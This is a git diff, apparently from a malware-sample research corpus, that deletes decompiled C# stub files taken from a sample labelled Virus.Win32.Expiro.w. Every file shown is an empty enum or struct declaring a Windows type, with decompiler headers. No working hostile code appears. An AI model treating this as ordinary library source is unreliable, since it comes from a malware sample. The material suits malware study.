a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CERT_CHAIN_CONTEXT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CERT_CHAIN_CONTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 36)] -internal struct _CERT_CHAIN_CONTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CHANGER_DEVICE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CHANGER_DEVICE_PROBLEM_TYPE.cs deleted file mode 100644 index 650b7552..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CHANGER_DEVICE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CHANGER_DEVICE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _CHANGER_DEVICE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_ERROR_CONTROL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_ERROR_CONTROL_TYPE.cs deleted file mode 100644 index c7f46a36..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_ERROR_CONTROL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_ERROR_CONTROL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _CM_ERROR_CONTROL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_LOAD_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_LOAD_TYPE.cs deleted file mode 100644 index aee1c79a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_LOAD_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_LOAD_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CM_SERVICE_LOAD_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_NODE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_NODE_TYPE.cs deleted file mode 100644 index 730cb058..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_NODE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_NODE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CM_SERVICE_NODE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_COMPUTER_NAME_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_COMPUTER_NAME_FORMAT.cs deleted file mode 100644 index 93441e3e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_COMPUTER_NAME_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _COMPUTER_NAME_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _COMPUTER_NAME_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CRYPT_OID_INFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CRYPT_OID_INFO.cs deleted file mode 100644 index ca43371e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CRYPT_OID_INFO.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CRYPT_OID_INFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct _CRYPT_OID_INFO -{ - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024102\u0024 - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_DEVICE_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_DEVICE_POWER_STATE.cs deleted file mode 100644 index 3d62e21c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_DEVICE_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DEVICE_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _DEVICE_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_Direction.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_Direction.cs deleted file mode 100644 index 85832e2a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_Direction.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _Direction -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _Direction -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ELEMENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ELEMENT_TYPE.cs deleted file mode 100644 index 1d47c0d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ELEMENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ELEMENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _ELEMENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_DISPOSITION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_DISPOSITION.cs deleted file mode 100644 index 35e0b99c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_DISPOSITION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_DISPOSITION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _EXCEPTION_DISPOSITION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_POINTERS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_POINTERS.cs deleted file mode 100644 index 29b1cbd1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_POINTERS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_POINTERS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _EXCEPTION_POINTERS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXPLICIT_ACCESS_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXPLICIT_ACCESS_W.cs deleted file mode 100644 index 752db8f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXPLICIT_ACCESS_W.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXPLICIT_ACCESS_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _EXPLICIT_ACCESS_W -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_INFO_LEVELS.cs deleted file mode 100644 index 9df3ee7c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _FINDEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_SEARCH_OPS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_SEARCH_OPS.cs deleted file mode 100644 index bc39c048..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_SEARCH_OPS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _FINDEX_SEARCH_OPS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _FINDEX_SEARCH_OPS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GET_FILEEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GET_FILEEX_INFO_LEVELS.cs deleted file mode 100644 index e584a131..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GET_FILEEX_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GET_FILEEX_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _GET_FILEEX_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GPO_LINK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GPO_LINK.cs deleted file mode 100644 index 93610f63..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GPO_LINK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GPO_LINK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _GPO_LINK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GUID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GUID.cs deleted file mode 100644 index a4659381..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GUID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _GUID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[UnsafeValueType] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct _GUID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HEAP_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HEAP_INFORMATION_CLASS.cs deleted file mode 100644 index 33b6f6dc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HEAP_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HEAP_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _HEAP_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HandleType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HandleType.cs deleted file mode 100644 index 0e6fc380..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HandleType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _HandleType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _HandleType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_IDL_CS_CONVERT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_IDL_CS_CONVERT.cs deleted file mode 100644 index 6b170422..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_IDL_CS_CONVERT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _IDL_CS_CONVERT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _IDL_CS_CONVERT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_JOBOBJECTINFOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_JOBOBJECTINFOCLASS.cs deleted file mode 100644 index 1a6aeabe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_JOBOBJECTINFOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _JOBOBJECTINFOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _JOBOBJECTINFOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_LOGON_SUBMIT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_LOGON_SUBMIT_TYPE.cs deleted file mode 100644 index 6fc5bc3e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_LOGON_SUBMIT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _KERB_LOGON_SUBMIT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _KERB_LOGON_SUBMIT_TYPE -{ -} diff --git 